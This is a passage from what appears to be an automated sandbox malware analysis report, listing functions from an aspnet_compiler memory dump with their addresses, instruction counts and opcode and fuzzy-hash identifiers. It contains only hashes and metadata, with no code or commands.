                                                        • Opcode Fuzzy Hash: 6c9d92ccc9823845df72ca1cbbca41fc44a62abcba4516ecbf174a293919ea5c
                                                        • Instruction Fuzzy Hash: 7F2115B19183449FC320DF1AC845A9BFBE8FBE5B54F404A1EFA9097350D7B09504CB96
                                                        Function 0130739A Relevance: .7, Instructions: 705COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1fd1aedf89cec5a4215f77ac2d85f41911ba77474601e25d7b502874b75ffd77
                                                        • Instruction ID: 2f3019000be7bb433d8dce54d998cfa204546517928e1788ea2399fd91393db3
                                                        • Opcode Fuzzy Hash: 1fd1aedf89cec5a4215f77ac2d85f41911ba77474601e25d7b502874b75ffd77
                                                        • Instruction Fuzzy Hash: 78428F71A0061A9FDB16CF5DC4A06BEBBF6FF88318B148559D592AB380D734F942CB90
                                                        Function 012DB2C0 Relevance: .6, Instructions: 629COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 104742858dbe090dba440df9ed4d98e4e148d3b0cfdee1174dd5a878dbc4ca25
                                                        • Instruction ID: a6f3d266a729a634c015e74faec57facd812c92bb2b28910e8d3b02d755d7ad9
                                                        • Opcode Fuzzy Hash: 104742858dbe090dba440df9ed4d98e4e148d3b0cfdee1174dd5a878dbc4ca25
                                                        • Instruction Fuzzy Hash: F5329D72E2021ADBDF14CF98C8A1BBEBBB1FF55714F190029E905AB391E7359901CB90
                                                        Function 01348158 Relevance: .6, Instructions: 617COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bafda856dc435d83b09a567b05f439ed43c4cde610e4de1477be4c65e36d26c3
                                                        • Instruction ID: fd9207ada9962d92e0dcfa175720e7a256bf1042118ec321ac3e87585dc13acd
                                                        • Opcode Fuzzy Hash: bafda856dc435d83b09a567b05f439ed43c4cde610e4de1477be4c65e36d26c3
                                                        • Instruction Fuzzy Hash: 86425C75E102198FEB25CFA9C881BADBBF5BF48314F1481D9E949EB242D734A981CF50
                                                        Function 0135A118 Relevance: .6, Instructions: 591COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a8eda5e83051fb2727a7f4f931fe875c6897a229cf193e32c5d5b08288a61d7e
                                                        • Instruction ID: 2b22b1e59be96afae3cd3992960801f9a87526f876692082267a10ae30886498
                                                        • Opcode Fuzzy Hash: a8eda5e83051fb2727a7f4f931fe875c6897a229cf193e32c5d5b08288a61d7e
                                                        • Instruction Fuzzy Hash: 4622E3702046558FEBA5CF2DC050B72BBF1AF44B4CF08865ADD868F686E335D552EB60
                                                        Function 012B65D0 Relevance: .4, Instructions: 383COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 934c9cedcfbeeeb8c9b2e59336404b20200004bb93983f72b76e2e16c574e5a5
                                                        • Instruction ID: 518f392c9fa47a85dd789da0a75af697f7adbeaae874378ff162f19dbb0e5639
                                                        • Opcode Fuzzy Hash: 934c9cedcfbeeeb8c9b2e59336404b20200004bb93983f72b76e2e16c574e5a5
                                                        • Instruction Fuzzy Hash: 4FE1A171518342CFC715CF28C4D0AAABBE1FF89354F058A6DEA9587351DB31E905CB92
                                                        Function 012A8397 Relevance: .4, Instructions: 380COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5072576aaafce1201ae1c6b287480e835fa6eb587387f70fdc723cfec237266e
                                                        • Instruction ID: d615b5d0e7047855dadbbc1d4eb4dea413da927cfd0af6748af813fe6dea4c0f
                                                        • Opcode Fuzzy Hash: 5072576aaafce1201ae1c6b287480e835fa6eb587387f70fdc723cfec237266e
                                                        • Instruction Fuzzy Hash: 9AD1E375A2060ADBDB19DF28CC91ABABBF5FF54319F44462DEA12DB280E730D950CB50
                                                        Function 01338243 Relevance: .3, Instructions: 322COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                        • Instruction ID: f06eea2da7c02acac7206cc8bf93d0fcb728527dd0663f95815a264c91749319
                                                        • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                        • Instruction Fuzzy Hash: 1CB16274A00609AFDF24DF99C940AABBBB9FFC4308F14459DBA52D7790DA34E905CB14
                                                        Function 012CF460 Relevance: .3, Instructions: 321COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f3dde9946215b0c1261d9ddbe85175d5e2d1b8b154f00522b51e3d28ffb38bc4
                                                        • Instruction ID: 8e94922b78377734eb1e5ac8af923f607b9cbd93f2e029916692ae03ef045611
                                                        • Opcode Fuzzy Hash: f3dde9946215b0c1261d9ddbe85175d5e2d1b8b154f00522b51e3d28ffb38bc4
                                                        • Instruction Fuzzy Hash: 79C16871A20216CFDB25CF2CC6907B9B7A2FB54B18F29425DEB469B3A6D7308940C790
                                                        Function 012C0535 Relevance: .3, Instructions: 300COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                        • Instruction ID: 8c18f7ed79c4eb93985dce810d004fd55b06da56da0c52911b4883e6f3c8dd1e
                                                        • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                        • Instruction Fuzzy Hash: ACB12335620646EFDB19CBA8C840BBEBBF6BF84704F144268E6429B385D730ED41CB94
                                                        Function 012D90DB Relevance: .3, Instructions: 287COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c7f9628db513abf43d0d2debfe1c5ed8bc0de44921fced350e3e223d788c1981
                                                        • Instruction ID: f81ac55b778d6236d2da7de5bd4e726dbdb5a3162272af9a30738220ad86e967
                                                        • Opcode Fuzzy Hash: c7f9628db513abf43d0d2debfe1c5ed8bc0de44921fced350e3e223d788c1981
                                                        • Instruction Fuzzy Hash: FAA16C71910216AFEF16DFA8CC45BBE7BB8AF46754F014168FA00AB2A0D775DD50CBA0
                                                        Function 012B83C0 Relevance: .3, Instructions: 281COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ee1de68cebaf441dc8c32213958ba333ca40157131dcad89b1b41ec888b4eba6
                                                        • Instruction ID: 6bafe1766e00eaff4a875493309a6762112193b1aff69cf09aa09ecd056d490a
                                                        • Opcode Fuzzy Hash: ee1de68cebaf441dc8c32213958ba333ca40157131dcad89b1b41ec888b4eba6
                                                        • Instruction Fuzzy Hash: 11C157742183418FD764DF28C484BABB7E8FF88348F44496DEA8987295D774E948CF92
                                                        Function 012AC427 Relevance: .3, Instructions: 280COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 31d4710dd523f49c5666e13b8970e41cf9c429df420b772da17fd6d3b1883607
                                                        • Instruction ID: aee3a83dfb0ecd7a22fc4261ee1dbb03cba2d016c0f5cf4418991f46dc674bdf
                                                        • Opcode Fuzzy Hash: 31d4710dd523f49c5666e13b8970e41cf9c429df420b772da17fd6d3b1883607
                                                        • Instruction Fuzzy Hash: 99B16170A102668BDB25DF58D890BB9B3F5EF44704F4485EAE54AE7281EB709D85CF20
                                                        Function 012DE5E7 Relevance: .3, Instructions: 278COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 28932c885f105e0cf872c8c83eab6cd171de3251d5641c846fd2c159125909ed
                                                        • Instruction ID: 639565843b90db65e83b0d2796a976c7376ba5187c4b923410a22db4494107d1
                                                        • Opcode Fuzzy Hash: 28932c885f105e0cf872c8c83eab6cd171de3251d5641c846fd2c159125909ed
                                                        • Instruction Fuzzy Hash: 14A13731E106599FEB26DB9CC844BAEBBB8BF00718F064225EB10AB2D5D7749D44CBD1
                                                        Function 012F0185 Relevance: .3, Instructions: 276COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 076a95b615eed6b41b5e4a7b386d240c7a692200cb4121c755e2e487b6df695d
                                                        • Instruction ID: 184a788050ff9ad27fb7169921cb93c084fa9b8d18d09514e329e4b9072502df
                                                        • Opcode Fuzzy Hash: 076a95b615eed6b41b5e4a7b386d240c7a692200cb4121c755e2e487b6df695d
                                                        • Instruction Fuzzy Hash: 49A1D370B206269BEB25DF69C491BBAF7A6FF44328F04403DEB0597282DB74E801CB54
                                                        Function 01384500 Relevance: .3, Instructions: 275COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 228b6208d1012914ccb3438bb90795defccf3c050e783a91253430691a920ce5
                                                        • Instruction ID: fcf4c2395904cdbb9bb92badb20e44c4ac4ee952774b8fb07865406ba75b6f0f
                                                        • Opcode Fuzzy Hash: 228b6208d1012914ccb3438bb90795defccf3c050e783a91253430691a920ce5
                                                        • Instruction Fuzzy Hash: 47A1CD72A20312DFC721EF28C980B6ABBE9FF58718F45062CF6459BA50D734E900CB91
                                                        Function 013360E0 Relevance: .3, Instructions: 264COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2a8228ecdc92830d3949688f970fc0b2ee7af1d6d5ee6855831b29ae29d6b0d6
                                                        • Instruction ID: 359a9d4433c018e2750364719491fd3088fd547fdd608490d9af5190ef899a1e
                                                        • Opcode Fuzzy Hash: 2a8228ecdc92830d3949688f970fc0b2ee7af1d6d5ee6855831b29ae29d6b0d6
                                                        • Instruction Fuzzy Hash: BA9194B1D0021ABFDB15CF68D885BBEBFB5AF88714F154159E610EB351D734DA008BA4
                                                        Function 012CE3F0 Relevance: .3, Instructions: 261COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 77841a1a7f9b5dfed315978619cc3c58ecfed1cf0329945dbfe29013671a8010
                                                        • Instruction ID: 2e2cb05895df72b3a9ee59e64d4cf6104c834352be25ce6d80832da24793a7cc
                                                        • Opcode Fuzzy Hash: 77841a1a7f9b5dfed315978619cc3c58ecfed1cf0329945dbfe29013671a8010
                                                        • Instruction Fuzzy Hash: 45914971A20616CBEB28DB18D441B7DBFA1EFA4B58F06426DEF059B384EA34D901C751
                                                        Function 012B1131 Relevance: .3, Instructions: 259COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5b2ad5d6d64e3d50028ab24ce7919e95c1615f40fde785e0b8ce812905537485
                                                        • Instruction ID: 0eccc0ac7bd6d51d026ab1d1a8db0afe7b91747562572132c353f407f0a47bbc
                                                        • Opcode Fuzzy Hash: 5b2ad5d6d64e3d50028ab24ce7919e95c1615f40fde785e0b8ce812905537485
                                                        • Instruction Fuzzy Hash: DBB122B16183418FD365CF28C490A6AFBF5BB88308F184A6EE999D7352D371E841CB42
                                                        Function 0136B52F Relevance: .2, Instructions: 222COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 14aa7f2389c0c2f4a5e39dfbb016f189343e77270b8e137ddafeb974bf5cdc5c
                                                        • Instruction ID: e6dc789e7d9d74760a6f342e3b4d0fbbb1f7743f5485ecfba797592fc7ed731d
                                                        • Opcode Fuzzy Hash: 14aa7f2389c0c2f4a5e39dfbb016f189343e77270b8e137ddafeb974bf5cdc5c
                                                        • Instruction Fuzzy Hash: C0719335B0021A9BDB10CF68C480ABEF7FDAF54758F59816AD900EB24DE739D9458F90
                                                        Function 012DD090 Relevance: .2, Instructions: 217COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2f57846fa6853ce2eba42e0856427c3c37140fe7ac7bc1e87bfd5d4bd44f03bd
                                                        • Instruction ID: f57cf97591a9315613982e949feaf55acd209e3f1d166f6aed406a75d6ca9102
                                                        • Opcode Fuzzy Hash: 2f57846fa6853ce2eba42e0856427c3c37140fe7ac7bc1e87bfd5d4bd44f03bd
                                                        • Instruction Fuzzy Hash: 61818471E1051A8FDF19CFACC8817ADBBB1FB84318F59817ADD15B7348D63299408B91
                                                        Function 012EE284 Relevance: .2, Instructions: 212COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 658a0af87eb989816ab2550f7e4627b042961011624f48c7a2ae95e316bd0ce7
                                                        • Instruction ID: 029fd14194350dbd0c8795a5c7c1f38d0cc192e06a1feca92625d5ad8cff450c
                                                        • Opcode Fuzzy Hash: 658a0af87eb989816ab2550f7e4627b042961011624f48c7a2ae95e316bd0ce7
                                                        • Instruction Fuzzy Hash: 9D818D71A10609EFDB21DFA9C884BEEBBFAFF48314F518429E655A7250D730AC05CB60
                                                        Function 0133035C Relevance: .2, Instructions: 198COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                        • Instruction ID: cd09aba0c6c52a654c5901935032e9f16cb916bfae20b527dc87a83cd3e995fe
                                                        • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                        • Instruction Fuzzy Hash: 61716D71A10609EFDB14DFA9C984AEEBBB8FF88704F104569E605E7290DB34EA41CB54
                                                        Function 013462A0 Relevance: .2, Instructions: 198COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c500eca64d7f1e3b430ce365992514051271e38c12a161a2f10856274cdc2ed7
                                                        • Instruction ID: 31f811daf2eeb84156661db078f61d36061a4ecb97ed0546a47928a9d8637aec
                                                        • Opcode Fuzzy Hash: c500eca64d7f1e3b430ce365992514051271e38c12a161a2f10856274cdc2ed7
                                                        • Instruction Fuzzy Hash: 507102B2200701EFEB32CF18C846F6ABBE6EF42728F154928E615976A1D775F944CB50
                                                        Function 0137132D Relevance: .2, Instructions: 188COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4fb047d927498db124395b45f24bb7628ea74d52ea2eb80328ee9908874f146e
                                                        • Instruction ID: 7c7aea3b4ba109872d06cad6c0d4fb4ee79352badc34a259cac5b33e24ebf0a8
                                                        • Opcode Fuzzy Hash: 4fb047d927498db124395b45f24bb7628ea74d52ea2eb80328ee9908874f146e
                                                        • Instruction Fuzzy Hash: 4D817076A00205DFCB19CF58C490AAEBBF1FF48314F1581A9D859EB355D734EA51CB90
                                                        Function 0137903E Relevance: .2, Instructions: 186COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 06e9e04dc2923c3ba14ee2edb7025c2c57e7be21ab3b6a552b54995189dcdd38
                                                        • Instruction ID: b946065297752fdd0b3aafa3a3d52a5ce19bf40fc1e0cb7a837eb64b6f3fb2fa
                                                        • Opcode Fuzzy Hash: 06e9e04dc2923c3ba14ee2edb7025c2c57e7be21ab3b6a552b54995189dcdd38
                                                        • Instruction Fuzzy Hash: 5661D57120071AAFD725DF68C884BABBBE9FF4872CF004619F95997240DB38E914CB91
                                                        Function 013792A6 Relevance: .2, Instructions: 174COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 56e5a01ce50994390d14b7869cf2575fc2dff67f7a30523ff5d2788f237df063
                                                        • Instruction ID: c5a58b53d12d6d3cdf1f8b9013ed6839ea9a96a9835859fc1f7533ffddffe4f9
                                                        • Opcode Fuzzy Hash: 56e5a01ce50994390d14b7869cf2575fc2dff67f7a30523ff5d2788f237df063
                                                        • Instruction Fuzzy Hash: B26107312047468BE321DF6CC894B6ABBE4FF9472CF18466CE9859B791DB39E805C781
                                                        Function 012AB2D3 Relevance: .2, Instructions: 161COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f923dfbdbba0da4d24e0c4cf66f8f677c2dc30aa9a022df756bac713bc113435
                                                        • Instruction ID: f9ee372d430ba815fc037d4e45411c7d33a3cbbb2e67fa1b2d69969ad210e8b6
                                                        • Opcode Fuzzy Hash: f923dfbdbba0da4d24e0c4cf66f8f677c2dc30aa9a022df756bac713bc113435
                                                        • Instruction Fuzzy Hash: 0D412671260602DFD7269F29D891B2ABBB9FF44754F95842DEA199B291DB30DC00CB90
                                                        Function 012EB570 Relevance: .2, Instructions: 161COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a84b46f3c1f0a58ba3320c11ea57e65e223310fd84b5d6930998bbfe6127e7e1
                                                        • Instruction ID: 56e8741542bf622178f8473185f2f13fb910a48b22a044e16b79db8929ed3ed3
                                                        • Opcode Fuzzy Hash: a84b46f3c1f0a58ba3320c11ea57e65e223310fd84b5d6930998bbfe6127e7e1
                                                        • Instruction Fuzzy Hash: 5C51D1B12142569FE320EF64C881F6A77E8FBA5728F10062DEA5197291D734E801CBA2
                                                        Function 0132D5D0 Relevance: .2, Instructions: 161COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 421d61e5bc4c825cfb3b344d513b1230fd482de7481e25e13c6dc44851e8f620
                                                        • Instruction ID: c84b0dd103e12410ed62d4071672fcc2ebd9b76b35880267ce0ad373e19de348
                                                        • Opcode Fuzzy Hash: 421d61e5bc4c825cfb3b344d513b1230fd482de7481e25e13c6dc44851e8f620
                                                        • Instruction Fuzzy Hash: F25136726003639BCB21FFE89C40A7B7BE5EF94658F440429FA44C7251E738C815D7A2
                                                        Function 012D95DA Relevance: .2, Instructions: 160COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b1d478b07936dc4fa613ae497b4f42ba4b9df57c4a4800f6882ba3efa529a5a6
                                                        • Instruction ID: 31e5033103681cfb82d0526800b48fca390ee9348ec16b99994bec0fd645a4dd
                                                        • Opcode Fuzzy Hash: b1d478b07936dc4fa613ae497b4f42ba4b9df57c4a4800f6882ba3efa529a5a6
                                                        • Instruction Fuzzy Hash: 43519271910209AFEF219FB9CC81BEDBBB9FF06304F204529E694A7195DB719844DF50
                                                        Function 012B7152 Relevance: .2, Instructions: 158COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a79dd01a2077b0742d309b2ddfb3afd5a55ad6b5dc9fdb4e47abe250d56a3e0c
                                                        • Instruction ID: adb3073680c2aaf6631f89d2745ff4a4c8bdb1db461ba1e5349b31bb6e5b17ab
                                                        • Opcode Fuzzy Hash: a79dd01a2077b0742d309b2ddfb3afd5a55ad6b5dc9fdb4e47abe250d56a3e0c
                                                        • Instruction Fuzzy Hash: 5F51F331A2060AEFEB19DB78C884BFDBBB5FF54355F104069E612972D0D7B09901CB90
                                                        Function 012D45B1 Relevance: .2, Instructions: 156COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                        • Instruction ID: 5d109855737d0b3f6c69917d97ff60e4de81997bd48bfe29be341210b8ed7664
                                                        • Opcode Fuzzy Hash: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
